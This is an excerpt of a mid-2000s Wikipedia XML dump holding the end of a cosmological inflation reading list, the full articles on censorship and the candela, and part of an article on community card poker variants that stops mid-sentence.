* [http://arxiv.org/abs/astro-ph/9901124 An Introduction to Cosmological Inflation] by Andrew Liddle, 1999
* [http://www2.iap.fr/Conferences/Colloque/col2004/Docs/20040628_liddle.pdf update 2004] by Andrew Liddle
* [http://arxiv.org/abs/hep-ph/0309238 hep-ph/0309238 Laura Covi: Status of observational cosmology and inflation]
* [http://arxiv.org/abs/hep-th/0311040 hep-th/0311040 David H. Lyth: Which is the best inflation model?]
* [http://www.symmetrymag.org/cms/?pid=1000045 The Growth of Inflation] ''Symmetry'', December 2004 
* [http://www.symmetrymag.org/cms/?pid=1000037 Guth's logbook showing the original idea]

[[Category:Cosmology]]

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  <page>
    <title>Censorship</title>
    <id>5384</id>
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{{Globalize}}

{{Otheruses3|Censor}}

'''Censorship''' is the control of [[speech]] and other forms of human [[expression]], often by (but not limited to) government intervention. The ostensible motive of censorship is to stabilize or improve the [[society]] over which the government would have control. It is most commonly applied to acts that occur in [[public]] circumstances, and most formally involves '''suppression''' of ideas (by [[Suppression of dissent|criminalizing or regulating expression]]). Furthermore, discussion of censorship often includes less formal means of controlling perceptions by excluding various ideas from mass communication. What is censored may range from specific [[word]]s to entire [[concept]]s and it may be influenced by [[value systems]].

'''Sanitization''' (removal) and '''whitewashing''' (from [[whitewash]]) are almost interchangeable terms that refer to a particular form of censorship via omission, which seeks to &quot;clean up&quot; the portrayal of particular issues and facts that are already known, but which may [[conflict]] with the official point of view.  
Some consider [[political correctness]] to be related, as a socially-imposed (rather than governmentally imposed) type of restriction, which, if taken to extremes, may qualify as self-censorship.

== Terms ==
&quot;Censorship&quot; comes from the [[Latin]] word &quot;[[censor]]&quot;.  In [[Rome]], the censor had two duties, to count the citizens and to supervise their morals. The term &quot;census&quot; is also derived from this word.

An early published reference to the term &quot;whitewash&quot; dates back to [[1762]] in a Boston ''Evening Post'' article. In [[1800]] the word was used publicly in a political context, when a Philadelphia ''Aurora'' editorial said that &quot;if you do not whitewash [[John Adams|President Adams]] speedily, the [[United States Democratic-Republican Party|Democrats]], like swarms of flies, will bespatter him all over, and make you both as speckled as a dirty wall, and as black as the [[devil]].&quot;

The word &quot;sanitization&quot; is a [[euphemism]] commonly used in the political context of [[propaganda]] to refer to the doctoring of information that might otherwise be perceived as incriminating, self-contradictory, controversial, or damaging. Censorship, as compared to acts or policies of sanitization, more often refers to a publicly set standard, not a privately set standard. However, censorship is often alleged when an essentially private entity, such as a corporation, regulates access to information in a communication forum that serves a significant share of the public. Official censorship might occur at any jurisdictional level within a state or nation that otherwise represents itself as opposed to formal censorship.

== Censorship Types ==
In England, censorship began with the introduction of copyright laws, which gave the Crown the permission to license publishing. Without government approval, printing was not allowed. It is sometimes called [[prior restraint]] when a court or other governmental body prevents a person from speaking or publishing before the act has even taken place, which is sometimes viewed as worse than punishment received after someone speaks, as in libel suits.

Censorship can be explicit, as in laws passed to prevent select positions from being published or propagated (e.g. the [[People's Republic of China]], [[Saudi Arabia]], and [[Australia]], where certain Internet pages are not permitted), or it can be implicit, taking the form of intimidation by government, where people are afraid to express or support certain opinions for fear of losing their jobs, their position in society, their credibility, or even their lives. The latter form is similar to [[McCarthyism]].

==Subject matter==
The rationale for censorship is different for various types of data censored. There are five main types:
*'''Moral censorship''' is material that contains questionable ethics. The censoring body disapproves of the values behind the material and limits access to it. An example is [[pornography]].
*'''Military censorship''' is the process of keeping [[military intelligence]] and [[Military tactics|tactics]] confidential and away from the enemy. This is used to counter [[espionage]], which is the process of gleaning military information.
*'''Political censorship''' occurs when governments conceal secrets from their citizens. The logic is to prevent the free expression needed to [[revolt]]. [[Democracies]] do not officially approve of political censorship but often endorse it privately. Any dissent against the government is thought to be a “weakness” for the enemy to exploit. Campaign tactics are also kept secret: see the [[Watergate scandal]].
*'''[[Religion|Religious]] censorship''' is the means by which any material objectionable to a certain faith is removed. This often involves a dominant religion forcing limitations on less dominant ones. Alternatively, one religion may shun the works of another when they believe the content is not appropriate for their faith.
*'''Corporate censorship''' is the process by which editors in corporate media outlets intervene to halt the publishing of information which portrays their business or business partners in a negative light. Privately owned corporations, being in the ''business'' of news, sometimes refuse to distribute information due to the potential loss of advertiser revenue or shareholder value which adverse publicity may bring.

== State secrets and unwanted attention==
In [[wartime]], explicit censorship is carried out with the intent of preventing the release of information that might be useful to an [[opposing force|enemy]]. Typically it involves keeping times or locations secret, or delaying the release of information (e.g., an operational objective) until it is of no possible use to enemy forces. The moral issues here are often seen as somewhat different, as release of tactical information usually presents a greater risk of casualties among one's own forces and could possibly lead to loss of the overall conflict.  The [[World War II]] catchphrase &quot;Loose lips sink ships&quot; was used as a common justification to exercise official wartime censorship and encourage individual restraint when sharing potentially sensitive information.

A well-known example of sanitization policies comes from the [[Soviet Union|USSR]] under [[Stalin]], where publicly used photographs were often altered to remove people whom Stalin had condemned to execution. Though past photographs may have been remembered or kept, this deliberate and systematic alteration of history in the public mind is seen as one of the central themes of [[Stalinism]] and [[totalitarianism]].  More recently, the official exclusion of television crews from locales where coffins of military dead were in transit has been cited as a form of censorship.  This particular example obviously represents an incomplete or failed form of censorship, as numerous photographs of these coffins have been printed in newspapers and magazines.

== School textbooks ==
The content of school textbooks is often the issue of debate, since their target audience is young people, and the term &quot;whitewashing&quot; is the one commonly used to refer to selective removal of critical or damaging evidence or comment. The [[historical revisionism (political)|reporting of military atrocities in history]] is extremely controversial, as in the case of the [[Nanking Massacre]], the [[Holocaust]] (or [[Holocaust denial]]), and the [[Winter Soldier Investigation]] of the [[Vietnam War]].  The representation of every society's flaws or misconduct is typically downplayed in favor of a more nationalist, favorable or patriotic view. Also, [[Christian]]s and other religious groups have at times attempted to block the teaching of [[evolution]] in schools, as evolutionary theory appears to contradict their [[religion|religious beliefs]]. In the context of secondary-school education, the way facts and history are presented greatly influences the interpretation of contemporary thought, opinion and socialization. One legitimate argument for censoring the type of information disseminated is based on the inappropriate quality of such material for the young. The use of the &quot;inappropriate&quot; distinction is in itself controversial, as it can lead to a [[slippery slope]] enforcing wider and more politically-motivated censorship.

==Implementation==
Censorship is regarded among a majority of academics in the Western world as a typical feature of [[dictatorship]]s and other [[authoritarian]] political systems. Democratic nations are represented, especially among Western government, academic and media commentators, to have somewhat less institutionalized censorship, and instead are depicted as promoting the importance of [[freedom of speech]].  The former [[Union of Soviet Socialist Republics]] maintained a particularly extensive program of state-imposed censorship. The main organ for official censorship in the [[Soviet Union]] was the ''Chief Agency for Protection of Military and State Secrets'' generally known as the ''Glavlit'', its Russian acronym. The ''Glavlit'' handled censorship matters arising from domestic writings of just about any kind— even beer and vodka labels. ''Glavlit'' censorship personnel were present in every large Soviet publishing house or newspaper; the agency employed some 70,000 censors to review information before it was disseminated by publishing houses, editorial offices, and broadcasting studios. No mass medium escaped ''Glavlit'''s control. All press agencies and radio and television stations had ''Glavlit'' representatives on their editorial staffs. 

Some thinkers understand censorship to include other attempts to suppress points of view or the exploitation of negative [[propaganda]], [[media manipulation]], [[Spin (public relations)|spin]], [[disinformation]] or &quot;[[free speech zone]]s&quot;. These methods tend to work by disseminating preferred information, by relegating open discourse to marginal forums, and by preventing other ideas from obtaining a receptive audience.

Suppression of access to the means of dissemination of ideas can function as a form of censorship. Such suppression has been alleged to arise from the policies of governmental bodies, such as the [[Federal Communications Commission|FCC]] in the [[United States]] of America, the [[Canadian Radio-television and Telecommunications Commission|CRTC]] in [[Canada]], newspapers that refuse to run commentary the publisher disagrees with, lecture halls that refuse to rent themselves out to a particular speaker, and individuals who refuse to finance such a lecture. The omission of selected voices in the content of stories also serves to limit the spread of ideas, and is often called censorship. Such omission can result, for example, from persistent failure or refusal by media organisations to contact criminal defendants (relying solely on official sources for explanations of crime). Censorship has been alleged to occur in such media policies as blurring the boundaries between hard news and news commentary, and in the appointment of allegedly biased commentators, such as a [[Nancy Grace|former government attorney]], to serve as anchors of programs labeled as hard news but comprising primarily anti-criminal commentary.

The focusing of news stories to exclude questions that might be of interest to some audience segments, such as the avoidance of reporting cumulative casualty rates among citizens of a nation that is the target or site of a foreign war, is often described as a form of censorship. Favorable representation in news or information services of preferred products or services, such as reporting on leisure travel and comparative values of various machines instead of on leisure activities such as arts, crafts or gardening has been described by some as a means of censoring ideas about the latter in favor of the former. 

Self Cencorship: Imposed on the media in a free market by market/cultural forces rather than a censoring authority. This occurs when it is more profitable for the media to give a biased view. Examples would include near hysterical and scientificaly untennable stances against [[nuclear power]], [[genetic engineering]] and [[recreational drugs]] as scare stories sell. It also occurs when politicians/culture expect the media to give moral guidance - ie not publishing the cartoon depictions of muhammed.

===Prevention and bypassing===
Since the invention of the printing press, distribution of limited production leaflets has often served as an alternative to dominant information sources. The use of widespread distributed network communication, [[data haven]]s and decentralized [[peer-to-peer]] [[file sharing]] systems such as [[Freenet]] has overcome some censorship. A recent phenomenon attempts a form of counter-censorship, speaking directly to members of society in a [[culture jamming]] effort. Individuals or non-conforming groups use mass communication techniques to attack implicit domination, offering trivial or deliberately irrelevant messages to blunt the impact of dominant mass communication. 

Throughout history, mass protests have served as a method for resisting unwanted impositions, though modern technology often affords control of mass meetings to the groups who control the sound amplification systems around which the meetings are organized. Modern sound-reinforcement technology has sometimes led to a perhaps mistaken perception that all those in attendance at mass gatherings agree on a broad spectrum of ideas, when in reality, individual members of the crowd might agree only in narrow measure with those whose voices are amplified. It has been suggested that mass reproduction, through broadcast, print, and network technology, of the ideas amplified from a podium can effectively censor the voices of individual members of a crowd. 

Interestingly, the censorship of coarse vernacular in the United States doesn't always extend to non-American pronunciations. Instead of ''shit'', the [[Scots language|Scots]] and [[British English|Northern English]] variant ''shite'' may apparently be used, as may ''fook'' for ''fuck''. (Note: this was witnessed on broadcast television in early 2004, before the FCC levied several highly publicized fines.) 

In recent times, censorship has taken the form of limiting access to public information in more useful formats, such as electronic information used by regulatory agencies, while the right to access and disseminate reports based on public information is limited to forms of information that can only be analyzed by scanning or reading paper documents. Fees for paper and other materials used to release public information that are disproportionate to the actual costs of paper copying also serve to regulate dissemination of information about government activities. In an age of distributed electronic networks, of advanced security algorithms that can facilitate supervised limited access to such networks and of low-cost photo-reproduction technology, limiting the availability of information that can be mass produced by imposing disproportionate fees as a condition to release of information is said by some to be a parallel to media taxes imposed but then outlawed in American in the [[17th Century]].

Even apparently open network communication can be the target of allegations of censorship, because such networks rely on technology not evenly distributed among all population segments. Groups with the most time and resources to participate in networked communities may, perhaps unbeknownst even to most group members, use their superior access to supplant the information that would be provided by non-users with versions that are preferred by the dominant sector.

===Censorship around the world===
* [[Censorship in Australia]]
* [[Censorship in Canada]]
* [[Censorship in Cuba]]
* [[Censorship in Egypt]]
* [[Censorship in France]]
* [[Censorship in Germany]]
* [[Censorship in Hong Kong]]
* [[Censorship in Iraq]]
* [[Censorship in Israel]]
* [[Censorship in Japan]]
* [[Censorship in Malaysia]]
* [[Censorship in India]]
* [[Censorship in the Republic of Ireland]]
* [[Censorship in Saudi Arabia]]
* [[Censorship in Singapore]]
* [[Censorship in South Asia]]
* [[Censorship in South Africa]]
* [[Censorship in the Soviet Union]]
* [[Censorship in Spain]]
* [[Censorship in Taiwan]]
* [[Third Section|Censorship in the Russian Empire]]
* [[Censorship in the United Kingdom]]
* [[Censorship in the United States]]
* [[Censorship in Tuva]]
* [[Internet censorship in mainland China]]
* [[Internet censorship in Saudi Arabia]]

===Censorship of Media===
* [[Banned books]]
* [[Banned films]]
* [[Banned computer and video games]]
* [[Censorship of music]]
* [[Edited Movies]]
* [[Editing of anime in international distribution]]
* [[Video game controversy]]
* [[Corporate media]]

===Other types of censorship===
* [[Advertising regulation]]
* [[Censorship by organized religion]]
* [[Censorship in cyberspace]]
* [[Censorship under fascist regimes]]
* [[Postal Censorship]]
* [[Corporate censorship]]

==See also==
* [[Anthony Comstock]]
* [[Autocensorship]]
* [[Bleep censor]]
* [[Book burning]]
* [[Book banning]]
* the [[Censored Eleven]] (banned ''[[Looney Tunes]]'' and ''[[Merrie Melodies]]'' cartoons)
* [[Charles Schumer]]
* [[Censorware]]
*[[Chilling effect]]
* [[Cindy's Torment]]
* [[Death Whoop]]
* [[Edited movie]]
* [[Entertainment Software Rating Board]]
* ''[[Fahrenheit 451]]''
* [[Gatekeeper (politics)]]
* ''[[Index Librorum Prohibitorum]]'' of The [[Roman Catholic Church]]
* [[International Freedom of Expression eXchange]]
* [[Jack Thompson]]
* [[Joe Lieberman]]
* [[John Stuart Mill]]
* ''[[Lady Chatterley's Lover]]''
* [[Leland Yee]]
* [[Media controversy]]
* [[Media transparency]]
* [[MPAA rating system]]
* ''[[Nineteen Eighty-Four]]''
* [[Prior restraint]]
* [[Production Code]]
* [[Project Censored]]
* [[SourceWatch]] 
* [[Super Bowl XXXVIII controversy]]
* [[Thomas Bowdler]]
* [[Tunisia Monitoring Group]]
* [[Television rating system|TV Parental Guidelines]]
* [[V-chip]]
*[[Whitewashing]]

==External links==
===World Wide Web links===
* [http://www.volkz.net/en/censorship.php Volkz.Net Against Censorship T-shirt (Not for profit organization)]
* [http://www.ericdigests.org/pre-9214/censorship.htm Censorship of Curriculum Materials]
* [http://www.ericdigests.org/pre-9215/library.htm The Right To Read: Censorship in the School Library]
* [http://www.ericdigests.org/1992-3/censorship.htm Challenges to and Censorship of School Guidance Materials]
* [http://www.themissingtimes.com The Missing Times.]
* [http://www.theory.org.uk/david/effects.htm 'Ten things wrong with the media effects model' article by Prof David Gauntlett]
* [http://www.ncac.org National Coalition Against Censorship]
* [http://www.familyediteddvds.com Personal Censorship for Families]
* [http://www.ifex.org International Freedom of Expression eXchange]
* [http://www.olympicwatch.org/topics.php?id=7 Olympic Watch (Committee for the 2008 Olympic Games in a Free and Democratic Country) on censorship in China]
* [http://www.rsf.org/article.php3?id_article=15613 The 15 enemies of the Internet and other countries to watch]

===Freenet links===
* [http://127.0.0.1:8888/SSK@WP74nrBDes9qDK7dpjiYXYNPl0gPAgM/cleanex/7// The Cleanex Experiment] Program introducing censorship on [[Freenet]].
* [http://127.0.0.1:8888/SSK@RUUzRT1xt58nWqLzAlIiMMlwf00PAgM/choron/2// Choron] Repository for banned French books and other documents.
* [http://127.0.0.1:8888/SSK@RUUzRT1xt58nWqLzAlIiMMlwf00PAgM/choron/2// Choron] Repository for banned English books and other documents.

==References==
* Abbott, Randy. &quot;A Critical Analysis of the Library-Related Literature Concerning Censorship in Public Libraries and Public School Libraries in the United States During the 1980s.&quot; Project for degree of Education Specialist, University of South Florida, December 1987. [ED 308 864] 
* Burress, Lee. &quot;Battle of the Books.&quot; Metuchen, NJ: The Scarecrow Press, 1989. [ED 308 508]
* [[Judith Butler|Butler, Judith]] &quot;Excitable Speech: A Politics of the Performative&quot; (1997) 
* O'Reilly, Robert C. and Larry Parker. &quot;Censorship_or Curriculum Modification?&quot; Paper presented at a School Boards Association, 1982, 14 p. [ED 226 432] 
* Hansen, Terry. ''The Missing Times: News media complicity in the UFO cover-up,'' 2000. ISBN 0-7388-3612-5
* Hendrikson, Leslie. &quot;Library Censorship: ERIC Digest No. 23.&quot; ERIC Clearinghouse for Social Studies/Social Science Education, Boulder, Colorado, November 1985. [ED 264 165] 
* Hoffman, Frank. &quot;Intellectual Freedom and Censorship.&quot; Metuchen, NJ: The Scarecrow Press, 1989. [ED 307 652] 
* Marek, Kate. &quot;Schoolbook Censorship USA.&quot; June 1987. [ED 300 018] 
* National Coalition against Censorship (NCAC). &quot;Books on Trial: A Survey of Recent Cases.&quot; January 1985. [ED 258 597] 
* Small, Robert C., Jr. &quot;Preparing the New English Teacher to Deal with Censorship, or Will I Have to Face it Alone?&quot; Annual Meeting of the National Council of Teachers of English, 1987, 16 p.&lt;br&gt; 
:(arguing that the English teacher should get advice from school librarians in preparing to encounter three levels of censorship:
# rejection of adolescent fiction and popular teen magazines as having low value,
# experienced colleagues discouraging &quot;difficult&quot; lesson plans,
# outside interest groups limiting students' exposure. [ED 289 172])
* Terry, John David II. &quot;Censorship: Post Pico.&quot; In &quot;School Law Update, 1986,&quot; edited by Thomas N. Jones and Darel P. Semler. [ED 272 994]
* [http://www.gcn.com/vol19_no6/news/1544-1.html] Supreme Court rejects advocates' plea to preserve useful formats
* [[World Book Encyclopedia]], volume 3 (C-Ch), pages 345, 346
;List of websites with known sanitization policies:
* [http://www.whitehouse.gov/ www.whitehouse.gov]
Cleans-up mistakes made in speeches by US President [[George W. Bush]], it also contains little contradictory information of current administration policies, and has deleted any reference to controversial [[Corporate accounting scandal]] figure [[Ken Lay]], among others.
* [http://www.state.gov/ www.state.gov]
In a different example of sanitization, the U.S. State Department website will display material only when it supports administration policies. For example the website contains in full, the [[UN Security Council resolutions]], which support the administration in its views of [[Iraq]], but will not show such UN resolutions against [[Israel]] or the [[United States|US]].

[[Category:Core issues in ethics]]
[[Category:Censorship|*]]
[[Category:Emergency laws]]
[[Category:Freedom of expression]]
[[Category:Issue in the Culture Wars]]

[[cs:Cenzura]]
[[da:Censur]]
[[de:Zensur (Informationskontrolle)]]
[[es:Censura]]
[[fr:Censure]]
[[ko:검열]]
[[io:Censuro]]
[[it:Censura]]
[[he:צנזורה]]
[[lv:Cenzūra]]
[[nl:Censuur (informatie)]]
[[ja:検閲]]
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[[ru:Цензура]]
[[sk:Cenzúra]]
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[[uk:Цензура]]
[[zh:檢查制度]]</text>
    </revision>
  </page>
  <page>
    <title>Candela</title>
    <id>5385</id>
    <revision>
      <id>41888185</id>
      <timestamp>2006-03-02T11:01:50Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{OtherUses|a unit of luminous intensity}}
----

The '''candela''' (symbol: cd) is the [[SI base unit]] of [[luminous intensity]] (''perceived'' power emitted by a light source in a particular direction).

==Definition==
Since the 16th [[General Conference on Weights and Measures]] in 1979, the candela has been defined as follows:

&lt;blockquote&gt;
The candela is the luminous intensity, in a given direction, of a source that emits monochromatic radiation of frequency 540{{e|12}} [[hertz]] and that has a [[radiant intensity]] in that direction of 1/683 [[watt]] per [[steradian]].
&lt;/blockquote&gt;

==Origin==
The candela was based on an older unit, the ''candlepower'', which was referenced to the luminous intensity of a &quot;standard [[candle]]&quot; of known composition.

==Explanation==
The frequency chosen is in the [[visible light|visible spectrum]] near [[green]], corresponding to a [[wavelength]] of about 555 nanometers.  The [[human eye]] is most sensitive to this frequency.  At other frequencies, more radiant intensity is required to achieve the same luminous intensity, according to the frequency response of the human eye. (See [[luminosity function]]).

A common candle emits about 1 cd. A 100 W [[lightbulb]] emits about 120 cd.

Although the definition of candela is now based on the watt, which is a derived SI unit of power, the candela remains a [[SI base unit|base unit]] of the SI system [http://www1.bipm.org/en/si/si_brochure/appendix2/photometric.html#history]. 

Historically, the candela was defined in terms of the [[black-body]] radiation emitted by 1/60 of 1 cm&lt;sup&gt;2&lt;/sup&gt; of [[platinum]] at its melting point. The arbitrary (1/683) term was chosen such that the new definition would exactly match the old definition.

==SI photometric light units==
{{SI light units}}

==References==
* {{cite web
 | title = The Unit of Luminous Intensity: Candela (cd)
 | url = http://www.electro-optical.com/whitepapers/candela.htm
 | accessdate = 2006-02-08
 }}
* {{cite web
 | title = Base unit definitions: Candela
 | work = The NIST Reference on Constants, Units, and Uncertainty
 | url = http://physics.nist.gov/cuu/Units/candela.html
 | accessdate = 2006-02-08
 }}

==External links==
* [http://www.jracademy.com/~ewotawa/CandelaM.html Candela: The SI Unit of Luminous Intensity]

[[Category:SI base units]]
[[Category:Photometry]]
[[Category:Units of luminous intensity]]

[[ca:Candela]]
[[cs:Kandela]]
[[da:Candela]]
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[[et:Kandela]]
[[fi:Kandela]]
[[fr:Candela]]
[[he:קנדלה]]
[[hu:Kandela]]
[[id:Candela]]
[[it:Candela (unità di misura)]]
[[ja:カンデラ]]
[[nl:Candela (eenheid)]]
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[[zh:坎德拉]]</text>
    </revision>
  </page>
  <page>
    <title>Community card poker</title>
    <id>5386</id>
    <revision>
      <id>41045236</id>
      <timestamp>2006-02-24T18:22:46Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.54.95.129|208.54.95.129]] ([[User talk:208.54.95.129|talk]]) to last version by Netoholic</comment>
      <text xml:space="preserve">Probably starting about the time of [[World War II]], many modern [[poker]]
games used [[Community card]]s (also called
&quot;shared cards&quot; or &quot;widow cards&quot;), which are cards dealt face up to the center
of the table and shared by all players.
In these games, each player is dealt privately an incomplete hand
(&quot;hole cards&quot;), which is then combined with the community cards
to make a complete hand.
The set of community cards is called the &quot;board&quot; or the &quot;widow&quot;, and may be
dealt in a simple line or arranged in a special pattern; rules of each game
determine how they may be combined with each player's private hand.

The canonical community card game today is probably [[Texas hold 'em]]
(and variants thereof), originating sometime in the 1920s.
That game is described in great detail in its own article, while most of the
descriptions below are brief and refer to that more detailed article
(a few other games merit their own article as well, such as [[Omaha hold'em]]).

In home games, it is typical to use [[ante]]s, while casinos
typically use only [[Blind (poker)|blind]]s for these games.
[[Fixed limit (poker)|Fixed limit]] games are most common in casinos, while
[[spread limit]] games are more common in home games. [[No limit (poker)|No limit]] and [[pot limit]] games are less common, but some games play particularly well with those structures. As with [[stud poker]], later betting rounds often have a higher limit than earlier betting rounds. Each betting round begins with the player to the dealer's left (when blinds are used, the first round begins with the player after the big blind), so community card games are generally [[Position (poker)|position]]al games.

Most community card games do not play well with [[lowball]] hand values,
though some do play very well at [[High-low split|high-low split]],
especially with [[ace-to-five low]] values, making it
possible to win both halves of a pot.
When played high-low split, there is generally a minimum qualifying hand
for low (often '''8'''-high), and it is played
[[Cards speak|cards speak]].

== Texas hold 'em ==
{{details|Texas hold 'em}}
This is the most popular community card game today. Each player is dealt two private cards, after which there is a betting round. Then three community cards are dealt face up (in no particular order or pattern), followed by a second betting round. A fourth community card is followed by a third betting round, a fifth community card and the fourth and final betting round. At showdown, each player plays the best five-card hand he can make using any five cards among the two in his hand and the five on the board.

Texas hold 'em does not play well [[High-low split|high-low split]] ([[Omaha hold'em]] is probably the best high-low community card game). It plays very well at no limit, and in fact the &quot;main event&quot; of the [[World Series of Poker]], the [[Poker tournament|tournament]] generally considered to be the world championship of the game of poker, is the $10,000 entry no limit Texas hold 'em event.

=== Pineapple (and Crazy Pineapple, Tahoe) ===
These are variants of Texas hold 'em in which each player is initially dealt three cards instead of two. In Pineapple, each player then immediately discards one of the three cards he is dealt, and the game proceeds exactly as in Texas hold 'em. In Crazy Pineapple, the players discard their third card ''after'' the second betting round, before the fourth community card is dealt. In Tahoe, players keep all three cards through showdown, but may not use all three of them to make a hand&amp;mdash;each player may use none, one, or two cards from his hand, combined with those on the board, to make his final five-card hand.

Crazy Pineapple and Tahoe are often played high-low split, and play reasonably well that way, though plain Pineapple does not.

=== Double-board hold'em ===
A split-pot variant that can be applied to many games (but that is generally only applied to normal hold'em) is &quot;double-board&quot;. For double-board hold'em, two separate five-card boards are dealt, and the high hand using each board takes half of the pot. For example, after the first betting round, three community cards are dealt to each of two separate boards; after the second round, another community card is dealt to each board; and before the final round, a fifth community card is dealt to each board (so there will be in total ten community cards, comprising two separate five-card hold'em boards).

This variant of Texas Hold'em is sometimes called &quot;double-flop hold'em&quot;, which is a bit of a misnomer, since there are not just two flops, but also two turns and two rivers.

== Omaha hold 'em ==
{{details|Omaha hold 'em}}
Another variant of Texas hold 'em that is quite popular and complex is Omaha hold'em.
Briefly, each player is dealt four cards to his private hand instead of two.  
The betting rounds and layout of community cards are identical.
At showdown, each player's hand is the best five-card hand he can make
from ''exactly three'' of the five cards on the board, plus ''exactly two''
of his own cards.
Unlike Texas hold 'em, a player cannot play only one of his cards with four
of the board, nor can he play the board, nor play three from his hand and two
from the board, or any other combination.
Each player must play exactly two of his own cards with exactly three
of the community cards.

The most popular form of the game is high-low split, called
&quot;Omaha/8 or better&quot;, or just &quot;Omaha/8&quot;.
Each player, using the above rules, makes a separate five-card high hand
and five-card low hand, and the pot is split between the high and low (which
may be the same player).
To qualify for low, a player must be able to play an '''8-7-6-5-4''' or
lower. 
A few casinos play with a '''9'''-low qualifier instead, but this is rare.
This game is generally played at [[Fixed limit (poker)|fixed limit]].

When high hands only are used, the game is generally called &quot;Omaha high&quot; to
avoid ambiguity.
This game plays particularly well at [[pot limit]],
called &quot;PLO&quot;.

Another variant is to deal each player five cards instead of four.
The same rules apply for showdown: each player must use two of his cards
with three of the community cards.

In the game of &quot;Courcheval&quot;, popular in Europe, instead of betting on the
initial four cards and then flopping three community cards for the second
round, the first community card is dealt before the first betting round,
so that each player has four private cards and the single community card
on his first bet.
Then two more community cards are dealt, and play proceeds exactly as in Omaha.

== Manila ==
One of the most popular games in [[Australia]]n casinos is a Texas hold 'em
variant called &quot;Manila&quot; (also called &quot;Seven-up&quot; in some places).
It is played with a [[Stripped deck]] in which all cards
below the rank of '''7''' are removed (leaving 32 cards).
Each player is dealt two private cards, and a single community card is dealt
face up, followed by the first betting round.
Then a second community card is followed by a second round, a third community
card and a third round, and fourth community card and a fourth round, and
finally a fifth community card, fifth betting round, and showdown.
On showdown, unlike Texas hold 'em (and more like Omaha), each player makes
the best hand he can from ''both'' of his hole cards with ''exactly three''
of the five community cards.

Because of the stripped deck, a flush beats a full house.
Also, an ace may ''not'' be played low for a straight (that is, the hand
'''A-7-8-9-10''' is not a straight in Manila).
Manila and its variants are rarely played high-low split (in fact, very few
stripped deck games are ever played low).

Common variations involve dealing three cards to each player, one of which
can either be discarded at some point (like Pineapple, above), or else held to
the end, but maintaining the requirement that each player play exactly two
of his own cards with exactly three of the board. 
The three-card variant is sometimes played with '''6'''s being restored to
the deck, making it 36 cards.

=== Pinatubo ===
Because Manila has five betting rounds, it does not play well at
no limit or pot limit.
This can be easily modified by eliminating the betting round between
the second and third community cards.
So, each player is dealt two private cards and a single community card is
dealt to the board, followed by the first betting round. 
Then ''two'' community cards are dealt, followed by a second betting round.
Then a fourth community card and third betting round, a fifth and final
community card and fourth betting round, followed by a showdown as above.

The three-card variant can be played this way as well (as with Manila,
the player must use exactly two of his three hole cards with three of the
board cards to make a hand).


== &quot;Home&quot; games ==
Although some of these games (notably Chowaha and Tic tac toe) have been
played in formal casino settings, they are generally better suited to
less serious low-stakes home games.
They also lend themselves to ad-hoc variation, since the games themselves
have not been time-tested for balanced play as have many casino games,
so making variations is likely to make the game much worse.

=== East Village ===
Also known as &quot;Newmyer's Seven Nuts&quot;, named for its inventor Chris Newmyer, East Village is a modification / bastardization of Omaha high-low split.
Each player is dealt seven hole cards.  The player then discards two of these cards, never to be seen again.  Then, with 5 hole cards left in his hand, each player &quot;donates&quot; one of his cards.  All the players &quot;donation&quot; cards are kept face down, and the dealer &quot;shuffles&quot; these cards with a scramble.  These cards will then make up the three card flop, the one card turn, and the one card river.
All betting takes place as in omaha, and the game is played high-low split with the 8-or-better qualifier.
Each player plays the best five-card hand he can make from exactly two of his hole
cards plus three of the five community cards.
This game is best played with seven players (it cannot be played with more).  If it is played with less than seven players, extra cards must be pulled from the stub to be added to the community cards, so that there are always seven community cards.
Note that there are no &quot;burn cards&quot; used in this game.
The best explanation of how to play the game is found at http://www.selfstarterfoundation.com/stealth/newmyerssevennuts_about.html .

=== Cincinnati ===
Each player is dealt five hole cards, and then one community card is dealt
face up to the table.
After a first betting round, a second community card is dealt, followed by
a second betting round.
This continues until a fifth community card is dealt, followed by a fifth
betting round and showdown.
Each player plays the best five-card hand he can make from his five hole
cards plus the five community cards in any combination.
More sane variants are to restrict each player to using exactly two of his
hole cards (as in Omaha) or no more than two (as in Pineapple).

=== Council Bluffs ===
Council Bluffs (or Co-Blo for short) is Omaha with a twist.  Each player still gets dealt their four hole cards then a round of betting occurs and the same rules of Omaha are followed until the show down.  At the show down players have the option of using two or three cards from their hand (Omaha you can only use two).  This variant always makes a flush possible.  

=== Iron cross ===
Each player is dealt five hole cards, and then five community cards are dealt
one at a time followed by a betting round, exactly as in Cincinnati.
But they are dealt in a cross pattern with a center card (dealt last) and
four other cards to its left, right, top, and bottom.
Each player plays the best five-card poker hand he can make from his five
hole cards plus the three cards from either the vertical arm or the
horizontal arm of the cross.
A common variant is to make the center card wild, or the center card and all
of the same rank wild.

One can also make a better game by reducing to four betting rounds: one
after the hole cards are dealt but before any community cards are, then
another after the left and right cards of the cross are dealt at the same time,
a third after the top and bottom cards of the cross are dealt, and a final
round after the center card is dealt.

=== Chowaha ===
Each player is dealt two hole cards and there is a round of betting as in Texas hold'em.  After betting is complete the dealer deals three sets of three communities cards (F1, F2 and F3 in the diagram below).  There is another round of betting and the dealer deals two turn cards (T1 and T2 in the diagram) followed by another round of betting.  A single card is dealt (R1 in the diagram) and there is a final round of betting.  Each player makes their best hand using both their hole cards plus three from one of the valid boards.  There are four valid boards F1-F1-F1-T1-R1, F2-F2-F2-T1-R1, F2-F2-F2-T2-R1 and F3-F3-F3-T2-R1. 

 F1-F1-F1 \
 	   T1
 F2-F2-F2 &lt;    &gt; R1
 	   T2
 F3-F3-F3 /


Chowaha is often played as a [[High-low split|high-low split]] game in which case you can use one board for the high hand and another for the low hand.

Chowaha is occasionally played at low limits in casinos (usually in conjunction with [[B.A.R.G.E]]) and under must-drink, must-toke conditions.

=== Tic tac toe ===
In this game, each player will end up with two private cards, and there
will be a board of nine cards arranged in a 3x3 square.
Each player will make a five-card hand from a combination of his two cards
plus any ''consecutive row'' of three on the board, either a horizontally,
vertically, or diagonally (as in [[Tic-tac-toe]]).
Variations exist in the number of betting rounds based on which community
cards are revealed in what order.
The simplest is probably to deal each player both hole cards then deal the
three cards across the top of the 3x3 array before the first betting round;
then deal the three cards across the bottom of the array followed by a second
betting round; then deal the two cards on the left and right edge of the
